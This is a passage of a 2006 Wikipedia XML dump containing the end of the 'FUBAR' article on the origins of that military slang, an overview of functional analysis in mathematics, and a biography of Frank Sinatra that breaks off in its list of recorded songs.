FUBAR may have had its origins in the [[German language|German]] word ''Furchtbar'', meaning frightful, or terrible.  It is pronounced with a soft ''cht'', and probably made the transition during [[World War II]]. &quot;[[Foo]]&quot; had been popularized in American culture, appearing in a [[1938]] [[Warner Bros.]] [[Daffy Duck]] cartoon and the comic strip ''[[Smokey Stover]]''.  Electronics engineers say that [[snafu]] and fubar were used before the war by repairmen sent out to repair [[phone booth]]s. They had to report the situation at arrival to the scene, often on a very bad line, so they developed these acronyms to make themselves understood.

It is also possible that ''foobar'' is a phonological interpretation of the first letters of the [[Runic alphabet]]. Like ''[[Qwerty]]'' and ''[[Abcde]]'', this expression might have attracted various computer programmers. In a museum at [[Aarhus]], a large wooden bar with the runic enscription ''f u þ a r'', where ''fu'' is pronounced like ''foo''. However, the letter ''[[þ]]'' is actually pronounced like an unvoiced ''th'', not a ''b'' (hence the name ''[[Futhark]]'' for the Runic alphabet).

One of the most popular hacker/[[Demoscene|demo]] groups on the [[Commodore_64|Commodore 64]] scene in the mid [[1980s]] was [[FBR]] - &quot;Fucked Beyond Repair&quot;. Except in [[military]] and [[computer science]]/[[Hacker culture|hacker]] communities, the word &quot;fubar&quot; had fallen out of use since the [[1960s]] but has enjoyed another resurgence since it was used in the movies ''[[Tango and Cash]]'' ([[1989]]) and ''[[Saving Private Ryan]]'' ([[1998]]).  [[FUBAR:_The_Movie|''FUBAR'']] is also the title of a [[2002]] [[Canada|Canadian]] [[mockumentary]].

==Army acronyms similar to FUBAR==
There are a number of slang [[List of U.S. Army acronyms and expressions|army acronym]]s that are similar to FUBAR, all containing the word &quot;fuck&quot;. They include:

* '''FUBAR''' - Fucked Up Beyond All Recognition
* '''SAPFU''' - Surpasses All Previous Fuck Ups
* '''[[SNAFU]]''' - Situation Normal: All Fucked Up
* '''SUSFU''' - Situation Unchanged, Still Fucked Up
* '''FUMTU''' - Fucked Up More Than Usual
* '''FUBB''' - Fucked Up Beyond Belief
* '''TARFU''' - Things Are Really Fucked Up
* '''TOFU''' - Things Ordinary: Fucked Up
* '''GFU''' - General Fuck Up
* '''SAMFU''' - Self Adjusting Military Fuck Up
* '''TUIFU''' - The Ultimate In Fuck Ups
* '''[[fugazi | FUGAZI]]''' - Fucked Up, Got Ambushed, Zipped In; Refers to out-of-control situation such as a chaotic jungle warfare combat environment 
* '''JANFU''' - Joint Army/Navy Fuck-Up; apparently used by British troops in WWII
* '''JAAFU''' - Joint Army-[[Air Force|Air Force]] Fuck-Up; the use of JANFU combined with a radical increase in joint-forces operations since [[1989]], has led to the rare but increasing use of JAAFU
* '''[[Internet slang#D|DILLIGAF]]/DILLIGAS''' - Do I Look Like I Give A Fuck/Shit?   Interrogative form of, &quot;(It) don't mean nothing.&quot; Both often heard in [[Vietnam-American War|Vietnam]].
* '''TINS''' - This Is No Shit!  Often seen in [[veteran]]s' forums
* '''IHTFP''' - I Hate This Fucking Place. Generally used at American [[Military Academy|Service Academies]].

&quot;The Fubar Suit&quot; (1997) is also the title of a [[science fiction]] [[short story]] by [[Stephen Baxter]].

==See also==
*[[List of U.S. Army acronyms and expressions]]
*[[foobar2000]] (audio player)

==External links==
===Foo bar===
*[http://www.catb.org/~esr/jargon/html/F/foobar.html The Jargon File entry on foobar]
*[http://www.faqs.org/rfcs/rfc3092.html RFC article on origin and usage of ''foobar'']

===FUBAR===
*[http://www.acronymfinder.com/af-query.asp?String=exact&amp;Acronym=FUBAR&amp;Find=Find Acronym Finder's FUBAR entry]
*[http://www.cix.co.uk/~sjbradshaw/baxterium/fubar.html The Fubar Suit]
*[http://www.fubar-themovie.com Website for ''Fubar'', the mockumentary.]
*[http://sweatshopindustries.net Fubar Entertainment.]

[[Category:6-letter acronyms]]
[[Category:Military acronyms]]

[[da:FUBAR]]
[[de:Fubar]]
[[nl:Foobar]]
[[sv:Fubar]]</text>
    </revision>
  </page>
  <page>
    <title>Functional analysis</title>
    <id>11180</id>
    <revision>
      <id>40211569</id>
      <timestamp>2006-02-19T00:05:38Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <minor />
      <comment>/* Normed vector spaces */ link to [[Invariant subspace]]</comment>
      <text xml:space="preserve">'''Functional analysis''' is the branch of [[mathematics]], and specifically of [[mathematical analysis|analysis]], concerned with the study of spaces of [[function (mathematics)|function]]s. It has its historical roots in the study of [[Transformation (mathematics)|transformations]], such as the [[Fourier transform]], and in the study of [[differential equations|differential]] and [[integral equations|integral]] equations. This usage of the word ''[[functional (mathematics)|functional]]'' goes back to the [[calculus of variations]], implying a function whose argument is a function. Its use in general has been attributed to mathematician and physicist [[Vito Volterra]] and its founding is largely attributed to mathematician [[Stefan Banach]].

==Normed vector spaces==
In the modern view, functional analysis is seen as the study of [[complete space|complete]] [[normed vector space]]s over the [[real number|real]] or [[complex number|complex]] numbers. Such spaces are called [[Banach space|Banach spaces]]. An important example is a [[Hilbert space]], where the norm arises from an [[inner product space|inner product]]. These spaces are of fundamental importance in the mathematical formulation of [[quantum mechanics]]. More generally, functional analysis includes the study of [[Fréchet space]]s and other [[topological vector space]]s not endowed with a norm.

An important object of study in functional analysis are the [[continuous function (topology)|continuous]] [[linear transformation|linear operators]] defined on Banach and Hilbert spaces. These lead naturally to the definition of [[C*-algebra]]s and other [[operator algebra]]s.

===Hilbert spaces===
[[Hilbert space]]s can be completely classified: there is a unique Hilbert space up to [[isomorphism]] for every [[cardinal number|cardinality]] of the base. Since finite-dimensional Hilbert spaces are fully understood in [[Linear Algebra|linear algebra]], and since [[morphisms]] of Hilbert spaces can always be divided into morphisms of spaces with [[Aleph-null]] (&amp;alefsym;&lt;sub&gt;0&lt;/sub&gt;) dimensionality, functional analysis of Hilbert spaces mostly deals with the unique Hilbert space of dimensionality Aleph-null, and its morphisms. One of the open problems in functional analysis is to prove that every operator on a Hilbert space has a proper [[invariant subspace]]. Many special cases have already been proven.

===Banach spaces===
General [[Banach space]]s are more complicated. There is no clear definition of what would constitute a base, for example.

For any real number ''p'' &amp;ge; 1, an example of a Banach space is given by &quot;all [[Lebesgue-measurable function]]s whose [[absolute value]]'s ''p''-th power has finite integral&quot; (see [[Lp space|L&lt;sup&gt;''p''&lt;/sup&gt; spaces]]).

In Banach spaces, a large part of the study involves the [[dual space]]: the space of all [[continuous function (topology)|continuous]] linear functionals. The dual of the dual is not always isomorphic to the original space, but there is always a  natural monomorphism from a space into its dual's dual. This is explained in the [[dual space]] article.

The notion of [[derivative]] is extended to arbitrary functions between Banach spaces. It turns out that the derivative of a function at a certain point is really a continuous linear map.

==Major and foundational results==
These are important results of functional analysis:

*The [[uniform boundedness principle]] is a result on sets of operators with tight bounds.
*One [[spectral theorem]] (there are more of them) gives an integral formula for [[normal operators]] on a Hilbert space. It is of central importance in the mathematical formulation of [[quantum mechanics]].
*The [[Hahn-Banach theorem]] is about extending functionals from a subspace to the full space, in a norm-preserving fashion. Another implication is the non-triviality of dual spaces.
*The [[open mapping theorem]] and [[closed graph theorem]].

''See also'': [[List of functional analysis topics]].

==Foundations of mathematics considerations==
Most spaces considered in functional analysis have infinite dimension. To show the existence of a [[vector space basis]] for such spaces may require [[Zorn's lemma]]. Many very important theorems require the [[Hahn-Banach theorem]], which itself is a form of the [[axiom of choice]] that is strictly weaker than the [[Boolean prime ideal theorem]].

==Points of view==
Functional analysis as it [[as of 2004|currently]] stands includes a number of directions:

*''soft analysis'', the approach to mathematical analysis based generally on [[topological group]]s, [[topological ring]]s and [[topological vector space]]s;
*''geometry of [[Banach space]]s'', a [[combinatorial]] approach as in the work of [[Jean Bourgain]];
*''[[noncommutative geometry]]'' as developed by [[Alain Connes]], based partly on previous ideas such as [[George Mackey]]'s approach to [[ergodic theory]];
*''connection with [[quantum mechanics]]'', narrowly defined in [[mathematical physics]] or broadly interpreted as by [[Israel Gelfand]] to include most types of [[representation theory]].

==References==
* Yosida, K.: ''Functional Analysis'', Springer-Verlag, 6th edition, 1980
* Schechter, M.: ''Principles of Functional Analysis'', AMS, 2nd edition, 2001
* Hutson, V., Pym, J.S., Cloud M.J.: ''Applications of Functional Analysis and Operator Theory'', 2nd edition, Elsevier Science, 2005, ISBN 0444517901
* Dunford, N. and Schwartz, J.T. : ''Linear Operators, General Theory'', and other 3 volumes, includes visualization charts
* Brezis, H.: ''Analyse Fonctionnelle'', Dunod
* Sobolev, S.L.: ''Applications of Functional Analysis in Mathematical Physics'', AMS, 1963
* Lebedev, L.P. and Vorovich, I.I.: ''Functional Analysis in Mechanics'', Springer-Verlag, 2002

{{Mathematics-footer}}

[[Category:Functional analysis|*]]

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  <page>
    <title>Frank Sinatra</title>
    <id>11181</id>
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      <timestamp>2006-03-03T15:44:16Z</timestamp>
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        <username>BorgQueen</username>
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      <comment>Reverted edits by [[Special:Contributions/L'Especial|L'Especial]] ([[User talk:L'Especial|talk]]) to last version by Infamous30</comment>
      <text xml:space="preserve">{{Infobox Biography 
|subject_name= Frank Sinatra 
|image_name= Frank Sinatra.jpg 
|image_caption= 
|dead=dead 
|date_of_birth= [[December 12]], [[1915]] 
|place_of_birth= [[Hoboken, New Jersey]] 
|date_of_death= [[May 14]], [[1998]] 
|place_of_death= [[Los Angeles, California]]}}

'''Francis Albert Sinatra''' ([[December 12]], [[1915]] &amp;ndash; [[May 14]], [[1998]]) was an [[United States|American]] [[singer]] who is considered by many to have been the finest male popular song vocalist of all time.  Renowned for his impeccable phrasing and timing, many critics place him alongside artists such as [[Bing Crosby]], [[Elvis Presley]] and [[The Beatles]] as one of the most important popular music figures of the [[20th century]]. [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=11:iyg9kett7q7b~T1]
Sinatra launched a second career as a dramatic [[film]] [[actor]], and became admired for a screen persona distinctly tougher than his smooth singing style.  Sinatra also had a larger-than-life presence in the public eye, and as &quot;The Chairman of the Board&quot; became an American [[icon]], known for his brash, sometimes swaggering attitude, as embodied by his [[signature song]] &quot;[[My Way (song)|My Way]]&quot;.
==Life==
===Early life===
He was born in [[Hoboken, New Jersey]]. He was the only child of quiet [[Sicilian]] fireman father, Anthony Martin Sinatra (1894-1969). Anthony had immigrated to the United States in 1895. His mother, Natalie Della Gavarante (1896-1977), was a talented, tempestuous [[Liguria]]n, who worked as a part-time abortionist. She was known as &quot;Dolly&quot;, and emigrated in 1897. Although it is part of the Sinatra folklore that Frank had an impoverished childhood, he was actually brought up in middle-class surroundings, due to his father's secure  job as a fireman, and his mother's strong political ties in Hoboken.

===Career===
Frank Sinatra decided to become a singer after hearing [[Bing Crosby]] on the radio. He began singing in small clubs in New Jersey and eventually attracted the attention of trumpeter and band-leader [[Harry James]].

[[Image:Jb wwii sinatra 1 e.jpg|200px|thumb|left|Frank Sinatra, 1947]]
After a brief stint with James, he joined the [[Tommy Dorsey]] Orchestra in [[1940]] where he rose to fame as a singer. His vast appeal to the &quot;[[bobby soxers]]&quot;, as [[teenager|teenage girls]] were called, revealed a whole new audience for popular music, which had appealed mainly to adults up to that time. (The complete span of his career with Dorsey was released in the [[1994]] box set ''[[The Song Is You]]''.) It was as a featured singer with Dorsey that Sinatra made his earliest film appearances, such as the [[1942]] [[Eleanor Powell]]/[[Red Skelton]] comedy, ''[[Ship Ahoy]]'' in which the uncredited singer performed a couple of songs. 

He later signed with [[Columbia Records]] as a solo artist with some success, particularly during the musicians' recording [[strike action|strikes]]. Vocalists were not part of the musician union and were allowed to record during the ban by using ''[[a cappella]]'' vocal backing.

Of this first phase of Sinatra's career, it can be said that it anticipated virtually every phase of what, in the 1960s, would be called &quot;the youth movement.&quot;  His sudden--and for many his alarming--appeal to teen-agers became a topic of journalistic and even sociological comment.  Subsequent musical idols would pass through the same stages of massive initial appeal, decline, and retrenchment.  Few, however, would manage, as Sinatra did--and as became essential to any popular music career that aspired to longevity--to generate new audiences, as Sinatra did in the 1950s and repeatedly into even the final decade of his career.

Sinatra's singing career was in decline in the late [[1940s]] and early [[1950s]], a period when novelty tunes became popular with audiences and during which Sinatra's aging would cause some loss of appeal to new teen-age audiences.  Nor was his career helped by the bad publicity that comebacks in the history of American show business, Sinatra would succeed not merely in reestablishing his popularity but in taking it far beyond what he had achieved in the 1940s.  This renewal would come about not in the recording studio but in Hollywood.

Sinatra had begun appearing in movies in the early 1940s, but usually in [[musical film|musicals]], often undistinguished ones.  He also appeared on a weekly television show on [[CBS]] for two years from 1950-1952 (and would try again for one year on [[American Broadcasting Company|ABC]] from 1957-1958).

What might be called Sinatra's second career began as a full-fledged dramatic actor when he played the scrappy Pvt. Angelo Maggio in the eve-of-[[Attack on Pearl Harbor|Pearl Harbor]] drama ''[[From Here to Eternity]]'' ([[1953]]), for which he won a [[Best Supporting Actor]] [[Academy Award]].  This role and performance became legendary at the time as the key comeback moment in Sinatra's career. Virtually overnight, his career had recovered.[http://www.nytimes.com/packages/html/movies/bestpictures/eternity-ar.html]  

The following year, Sinatra played a crazed, coldblooded assassin determined to kill the President in the thriller ''[[Suddenly]]'' (available freely online [http://www.archive.org/details/suddenly here]); critics found Sinatra's performance one of the most chilling portrayals of a psychopath ever committed to film.  This was followed in 1955 by his portrayal of a heroin addict in 1955's  ''[[The Man with the Golden Arm]]'', for which he received an Academy Award [[Best Actor]] nomination.
[[Image:Frankella2.jpg|200px|thumb|right|Frank Sinatra with [[Ella Fitzgerald]]]]
Soon after ''From Here to Eternity'', Sinatra's singing career rebounded. During the 1950s, he signed with [[Capitol Records]], where he worked with many of the finest arrangers of the era, most notably [[Nelson Riddle]], [[Gordon Jenkins]], and [[Billy May]], and with whom he made a series of highly regarded recordings. By the early [[1960s]], he was a big enough star to start his own record label: [[Reprise Records]].  His position with the label earned him the long-lasting [[nickname]] &quot;The Chairman of the Board&quot;.

The famous Sinatra comeback is the stuff of American legend, and, indeed, there seemed little in either his 1940s film career or his radio and television performances of the early 1950s to predict the dramatic success he would enjoy on screen in the 1950s and 1960s.  However, the musical turnaround should not have been unexpected.  At the very end of his Columbia recording career, in two performances in 1952 Sinatra had given advance warning of what would become the new sound he achieved in the 1950s at Capitol.  In &quot;The Birth of the Blues&quot; it would be the sound of the new and &quot;swinging&quot; Sinatra: a hipper, tougher, more masculine persona than the sometimes boyish Sinatra of the 1940s.  In &quot;I'm A Fool To Want You&quot; he anticipated the darker, melancholic sound of the great &quot;torch&quot; albums of the 1950s.  Neither performance was sufficient to prevent Columbia from failing to renew his contract, in what must surely rank as one of the great errors in the business history of American popular music.

In the 1950s and 1960s, this new Sinatra would become the most popular attraction in [[Las Vegas, Nevada|Las Vegas]], the venue of choice for performers of his era as the rise of rock and roll began to reduce the market for their recordings. He was friends with many other entertainers, including [[Dean Martin]], [[Sammy Davis, Jr]], actor [[Peter Lawford]], comedian [[Joey Bishop]], and sometimes [[Shirley MacLaine]]. They formed the core of the [[Rat Pack]], a loose group of entertainers who were friends and socialized together--and whose wild and unpredictable antics would dominate show business news for much of the period 1958-63.

Sinatra played a major role in the desegregation of Nevada hotels and casinos in the [[1960s]]. Sinatra led his fellow members of the Rat Pack in refusing to patronize hotels and casinos that denied service to Sammy Davis Jr., a black man.  As the Rat Pack became the subject of great media attention due to the release of the film ''[[Ocean's Eleven (1960 film)|Ocean's Eleven]]'' ([[1960]]), many hotels and casinos, desiring the attention that would come from the presence of Sinatra and the Rat Pack in their properties, relented on their policies of segregation.

A street named in his honor in [[Las Vegas, Nevada|Las Vegas]], '''Frank Sinatra Drive''', opened around 2001, which parallels between Interstate 15 and Las Vegas Boulevard.

Sinatra was close to the [[Kennedy family]] and was a friend and strong supporter of President [[John F. Kennedy]]. Years later, Sinatra's youngest daughter Tina would state that Sinatra and mob figure [[Sam Giancana]] had helped Kennedy win a crucial primary election in 1960 by helping to deliver the union vote. [http://www.cbsnews.com/stories/2000/10/05/60minutes/main238980.shtml]
Sinatra is said to have introduced Kennedy to [[Judith Campbell Exner|Judith Campbell]], who had been a girlfriend of both Sinatra's and Giancana.  Campbell allegedly began a relationship with Kennedy; eventually Attorney General [[Robert F. Kennedy]] became alarmed and told his brother to distance himself from Sinatra. [http://www.nj.com/sinatra/ledger/index.ssf?/sinatra/stories/mob.html]  Sinatra would lose his Nevada casino license in 1963 when Giancana was seen in the Cal-Neva Lodge casino, of which Sinatra was a part owner. [http://www.hotshotdigital.com/OldRock/FrankSinatraBio.html]

[[Image:MajorMarco2.jpg|thumb|200px|left|Frank Sinatra as Maj. Bennett Marco in ''The Manchurian Candidate'', 1962.]]
Sinatra resumed his strong film work with the 1962 paranoid classic ''[[The Manchurian Candidate]]'', in which he plays the troubled, frequently blinking, but nonetheless resolute protagonist.  In 1965's ''[[Von Ryan's Express]]'', Sinatra added dimensionality to a [[World War II]] action role.  Other film appearances during this time were either [[cameo]]s or, as in the case of 1964's ''[[Robin and the Seven Hoods]]'', critically-panned efforts to trade in on his image.

In the [[1970s]] Sinatra staged a retirement and several comebacks, recording less frequently but continuing to perform in Las Vegas and around the world.  It was a period during which, by taking to the road again, Sinatra sought to bring the great American songbook of the 1920s and 1930s to a much wider audience than the one that frequented the casinos of Las Vegas.

In [[1981]] Sinatra's Nevada casino license was reinstated after hearings by the [[Nevada Gaming Control Board]].  Indeed, journalist Pete Hamill wrote in his book, ''Why Sinatra Matters'', that Sinatra was &quot;the most investigated American performer since [[John Wilkes Booth]].&quot;

&quot;Sure, I knew some of those guys,&quot; Sinatra himself said. &quot;I spent a lot of time in saloons. And saloons are not run by the Christian Brothers. There were a lot of guys around, and they came out of Prohibition, and they ran pretty good saloons. I was a kid. I worked in the places that were open. They paid you, and the checks didn't bounce. I didn't meet any Nobel Prize winners in saloons. But if Francis of Assisi was a singer and worked in saloons, he would've met the same guys.&quot;

In 1986, investigative journalist [[Kitty Kelley]] published a biography of Sinatra entitled ''His Way: The Unauthorized Biography of Frank Sinatra''. Sinatra went to court to try to prevent it from being published, bringing a $2 million lawsuit against her because he believed that the book painted him in an unattractive light, and he accused her of misrepresenting herself as his authorized biographer. He later withdrew his lawsuit amid much publicity and the book went on to become number one on the ''[[New York Times]]'' best seller list and was a huge seller not only in the US but also in England, Canada, and Australia. Another Sinatra nemesis, the Hollywood gossip columnist [[Rona Barrett]], came closer to a depiction of his character in her [[roman a clef]], ''The Lovo-maniacs'', which attempted a fictional insight into his complex personality. Another book Sinatra might have prevented from being published had he still been alive is &quot;Mr S: The Last Word on Frank Sinatra&quot; (2003), co-written by his black valet George Jacobs. 

Sinatra's singing career continued into the [[1990s]], most notably with his commercially-successful ''[[Duets (Frank Sinatra album)|Duets]]'' albums on which he sang with other stars such as [[U2]]'s [[Bono]]. He continued to perform live until February [[1995]], but the nearly 80-year-old singer often had to rely on [[teleprompter]]s for his lyrics, to compensate for his failing memory.

===Marriage and family===
Sinatra was married to his childhood sweetheart, [[Nancy Barbato]], in [[Jersey City, New Jersey]] on [[February 4]], [[1939]]. They had three children together: [[Nancy Sinatra]] (born [[June 8]], [[1940]]), [[Frank Sinatra, Jr.]] (born [[January 10]], [[1944]]), and [[Tina Sinatra |Christine &quot;Tina&quot; Sinatra]] (born [[June 20]], [[1948]]). Although Sinatra did not remain faithful to his wife, he was by many accounts a devoted father. However, his affair with [[Ava Gardner]] became public and the couple was separated in [[1950]]. They were [[divorce|divorced]] on [[October 29]], [[1951]] despite Nancy Sr.'s (as she was sometimes known) religious qualms and objections. According to public reports Frank and Nancy Sr. remained on at least civil terms, if not better, and Nancy would recount how Frank still loved her cooking and would send someone by to pick up her home-made specialties many decades after they separated.

Sinatra married the actress [[Ava Gardner]] on [[November 7]], [[1951]], only ten days after his divorce from his first wife became final. They were separated on [[October 27]], [[1953]] but were not divorced until 1957. She was considered to be his truest love, but that did not guarantee marital success and stability in Hollywood.

Sinatra asked actress [[Lauren Bacall]], whom he had been seeing since shortly after her husband [[Humphrey Bogart]] died in 1957, to marry him, but reneged when word of their relationship became public.

On [[December 8]], [[1963]], [[Frank Sinatra, Jr.]] was [[List of famous kidnappings|kidnapped]]. Sinatra paid the kidnappers' $240,000 ransom demand (even offering $1,000,000 if only his son would be returned, though the kidnappers bizarrely turned this offer down), and his son was released unharmed on [[December 10]]. Because the kidnappers demanded that Sinatra call them only from payphones, Sinatra carried a roll of dimes with him throughout the ordeal, and this became a lifetime habit. The kidnappers were subsequently apprehended and convicted.

Sinatra married actress [[Mia Farrow]], 30 years his junior, in 1966. They were divorced two years later.

In 1976, Sinatra married Barbara Blakeley Marx (formerly married to [[Zeppo Marx]]), who converted to Catholicism to marry him. She remained his wife until his death, although her relations with Sinatra's children were consistently portrayed as stormy, something Nancy Sinatra (Jr.) confirmed when she publicly claimed that Barbara had not bothered to call Frank's children even when the end was near, although they were close by, and the children missed the opportunity to be at their father's bedside when he died.

===Alleged organized crime links===
[[Image:Sinatra and Mafia.jpg|frame|Left to right: [[Paul Castellano]], [[Gregory DePalma]], Sinatra, [[Tommy Marson]], [[Carlo Gambino]], [[Aladena Fratianno]], [[Salvatore Spatola]], Seated: [[Joseph Gambino]], [[Richard Fusco]], in 1976]]

Sinatra has been frequently linked to members of the [[Mafia]] and it has long been rumored that his career was aided behind the scenes by [[organized crime]].[http://news.bbc.co.uk/1/hi/special_report/1998/05/98/sinatra/94360.stm]

One of his uncles, Babe Gavarante, was a member of a [[Bergen County]] armed gang connected to the organization of [[Willie Moretti]].  Gavarante was convicted of murder in [[1921]] in connection with an armed robbery in which he had driven the get-away car.  Sinatra was also allegedly personally linked to Willie Moretti, his first wife [[Nancy Barbato]] was a cousin of one of his senior henchmen and he sang at his daughter's wedding in [[1948]].  According to testimony from Moretti, Sinatra received help from him in arranging performances in return for kick-backs.  

He had associations with and did favors for [[Charles Fischetti]], a notorious [[Chicago, Illinois|Chicago]] mobster dating back to [[1946]], according to the FBI.  Sinatra was also friends with Charles' brother Joseph, who ran the Fontainebleau Hotel complex in [[Miami]], who arranged work for him and introduced him to [[Charles Luciano]] in [[Havana]].  After Luciano's deportation to Italy, Sinatra visited him at least twice, singing at a [[1946]] Christmas Party and gifting the famed mobster with a gold cigarette case engraved &quot;To my dear pal Charlie, from his friend Frank&quot; the next year.  These visits were widely reported by the media and used as further evidence of Sinatra's ties to the mob, haunting him for the rest of his life.  Among the allegations were the two million dollars that Sinatra gave Luciano.  As Joseph &quot;Doc&quot; Stacher later recalled of the Havana meeting, &quot;The Italians among us were all very proud of Frank. They always told me they had spent a lot of money helping him in his career ever since he was in [[Tommy Dorsey]]&amp;#8217;s band. Lucky Luciano was very fond of Frank&amp;#8217;s singing. Frankie flew into Havana with the Fischettis, with whom he was very friendly, but of course, our meeting had nothing to do with hearing him croon&amp;#8230;Everyone brought envelopes of money for Luciano &amp;#8230;But more important, they came to pay allegiance to him.&quot;  The &quot;Havana&quot; allegations - while the basis of rumors for Sinatra's mob ties - have never been proved, and Luciano himself denied there was any criminal association in his autobiography.

Sinatra had a strong friendship with [[Sam Giancana]] who always wore a sapphire friendship ring given to him by Sinatra, and who ordered the killing of 200 people.  A number of alleged incidents have been noted where people who angered Sinatra have been threatened by Giancana's mob.  [[Comedian]] [[Jackie Mason]] has alleged that after mocking Sinatra in his routine, he received threats and his hotel room was shot up in his presence.  After he continued, he received death threats and was roughed up and his nose was broken.

[[J. Edgar Hoover]] apparently suspected Sinatra over the years, and Sinatra's file at the [[FBI]] ended up at 2,403 pages[http://foia.fbi.gov/foiaindex/sinatra.htm], detailing allegations of extortion against Ronald Alpert for $100,000.  Sinatra publicly rejected these accusations many times, and was never charged with any crimes in connection with them.

The character Johnny Fontane in the book and movie ''[[The Godfather (novel)|The Godfather]]'' is widely viewed as having been inspired by Frank Sinatra and his alleged connections. Indeed, Sinatra was furious with Godfather author [[Mario Puzo]] over the Fontane character and reportedly confronted Puzo in public with profane threats. However, those involved in the making of the movie (primarily Francis Ford Coppola and Mario Puzo) deny any intended similarities between Fontane and Sinatra.

Yet the similarities exist. The &quot;bandleader story&quot; from ''The Godfather'' is similar to the rumored story of how Sinatra got out of his contract with bandleader [[Tommy Dorsey]]. Sinatra's contract with Dorsey specified that he would have to pay Dorsey one-third of his earnings for life and an additional 10 percent to Dorsey’s agent.  In short, 43 percent of Frank Sinatra would belong to Tommy Dorsey and his agent forever. As Sinatra's popularity started to grow, he began seeking ways to separate himself from Dorsey. In 1943, Sinatra’s representatives tried to get him out of the contract, offering Dorsey $60,000 to rip it up, but Dorsey refused. By some accounts, hard negotiation eventually convinced the bandleader to take the offer. Yet, other accounts say that Sinatra’s godfather, [[Willie Moretti]], presented Dorsey with &quot;an offer he couldn't refuse&quot;. Sinatra has denied that Moretti had anything to do with it, but Moretti bragged in private that he and a few associates jammed the barrel of a gun into Dorsey's mouth and got him to release Sinatra from his obligations in exchange for one dollar.  In 1951 Dorsey talked about the incident to a reporter from American Mercury magazine, describing his meeting with three men who, according to Sinatra biographer [[J. Randy Taraborrelli]], “talked out of the sides of their mouths and ordered him to ‘sign or else.’”

But some of the story of the character Johnny Fontane was embellished for the film. The scene in which Johnny asks the Godfather to pressure a Hollywood director to give him a part in a movie that was &quot;sure to make him a star&quot; is a loose reference to Sinatra's role in [[From Here to Eternity]], a role which earned him an Academy Award in 1954. However, the widely held belief that Sinatra’s godfather leaned on Harry Cohn, the head of Columbia Pictures, to force him to cast Sinatra is untrue.  Unlike the producer in the film, Cohn never woke up to find a severed horse’s head in his bed. It was Sinatra’s 29-inch waistline and his natural acting talent rather than mob strong-arm tactics that landed him the role.

===Death===
A frequent visitor, property owner and benefactor in the [[Palm Springs, California]] area, Sinatra wished to be buried in the desert he grew to love so much. 

Frank Sinatra died at the age of 82 of a [[heart attack]] in [[Los Angeles, California]], following a long battle with [[coronary heart disease]], [[kidney disease]], [[bladder cancer]], and [[dementia]]. 

His funeral was held on [[May 20]], [[1998]] at the Church of the Good Shepherd in [[Beverly Hills]]. Sinatra's last words were (according to his daughter [[Nancy Sinatra]], as told to ''[[Variety (magazine)|Variety]]'' senior columnist, [[Army Archerd]]): &quot;I'm losing.&quot;

Sinatra was buried a few miles away from Palm Springs next to his parents in Desert Memorial Park in [[Cathedral City]], a quiet, unassuming cemetery near his famous compound in [[Rancho Mirage, California]], which is located on the beautiful, tree-lined thoroughfare that bears his name.  

His longtime friend, Jilly Rizzo, who died in a [[Rancho Mirage]] car crash in 1992, is buried nearby as is pop star, former Palm Springs mayor and [[United States House of Representatives|Congressman]], [[Sonny Bono]].  

Legend has it that Sinatra was buried with a flask of [[Jack Daniel's]] [[whiskey]], a roll of ten dimes (in reference to the kidnapping of his son, see above), a lighter (which some take to be a reference to his mob connections) and a packet of [[Camel cigarettes]].  The words '''The Best is Yet to Come''' are imprinted on his tombstone.

==Recorded legacy==
===Influences===
Sinatra's vocal style represented a significant departure from the '[[crooner|crooning]]' style of his early idol, [[Bing Crosby]]. Sinatra's generation represented the first generation of children that had grown up in the era of the [[microphone]], and the amplification of sound enabled singers to sing in a much softer, much more nuanced style.  Crosby had begun this change, and established  a new American singing style based around conversational ease.  

However Sinatra, as he himself once noted, ''sang more'', by which he meant that he introduced a [[bel canto]] sound to the tradition begun by Crosby.  And, more importantly, he might be said to have brought the Crosby tradition to artistic completion, taking it to levels of intensity and depth of feeling that, because of the displacement of the Crosby-Sinatra tradition by [[rock and roll]] and subsequent genres, are unlikely to be achieved again.

Two other great performers of the 1930s and 1940s were significant influences on Sinatra: [[Billie Holiday]] and [[Mabel Mercer]].  Sinatra regularly heard &quot;Lady Day&quot; in New York clubs in the 1940s and learned from her the importance of authenticity of emotion.  From Mercer he learned the importance of the element of &quot;story&quot; in a song.  For Sinatra a song is a 3-4 minute narrative — sometimes even the story of himself, his own life, his own heartaches, his own feelings of buoyancy — and this is why [[Ella Fitzgerald]] could say of him, &quot;With Frank, it's always this little guy, telling this ... story.&quot;  The archetypal examples of the Sinatra song as story could later be found in two selections from his 1958 Capitol LP  ''[[Frank Sinatra Sings For Only The Lonely]]'': &quot;[[Angel Eyes (song)|Angel Eyes]]&quot; and &quot;[[One For My Baby (And One More For The Road)]]&quot;.

===Genres===
Sinatra would certainly have been considered a 'pop' singer before the [[rock and roll]] era, and the epithets [[Traditional Pop]] or more specifically [[classic pop|Classic Pop]] have perhaps been coined to describe Sinatra's style.

There still exists a much wider debate, as with [[Ella Fitzgerald]], as to whether Sinatra is a [[jazz]] singer. Certainly he performed with the finest jazz musicians, and largely performed material from the [[Great American Songbook]]. There are very few occasions when Sinatra was recorded [[scat singing]], but minor nuances and slight derivations from the vocal line are a hallmark of the material he recorded, and he is also known for his impeccable jazz timing and phrasing.  Indeed, it is impossible to imagine the Sinatra of the great years after 1953 without the influence of jazz.  It is no accident that he would be [[Lester Young]]'s ideal singer in the band Young had hoped to lead, nor that [[Miles Davis]] identified Sinatra's phrasing as an influence on his own.  The list of Sinatra's jazz admirers is long and stellar, including such figures as [[Count Basie]], [[Stan Getz]], and [[Oscar Peterson]].  The question of his status as a &quot;jazz singer&quot; has never seemed to matter as much to such artists as it has to critics and academicians. [http://www.jazzsingers.com/FrankSinatra/]

===Songs and albums===
Sinatra left a vast legacy of recordings, from his very first sides with the [[Harry James]] orchestra in 1939, the vast catalogs at Columbia in the 1940s, Capitol in the 1950s, and Reprise from the 1960s onwards, up to his 1994 album ''[[Duets II]]''.

Some of his best known recorded songs include: 
*[[Great American Songbook]] entries such as &quot;[[Night and Day (song)|Night and Day]]&quot;, &quot;[[I've Got You Under My Skin]]&quot;, and &quot;[[Fly Me To The Moon]]&quot;
*Comic numbers such as &quot;[[Love and Marriage]]&quot; (used as theme for American television comedy ''[[Married... with Children]]'')
*[[Torch song]]s such as &quot;[[One for My Baby (and One More for the Road)|One for My Baby]]&quot;, &quot;[[Angel Eyes (song)|Angel Eyes]]&quot;, and &quot;[[Drinking Again]]&quot;
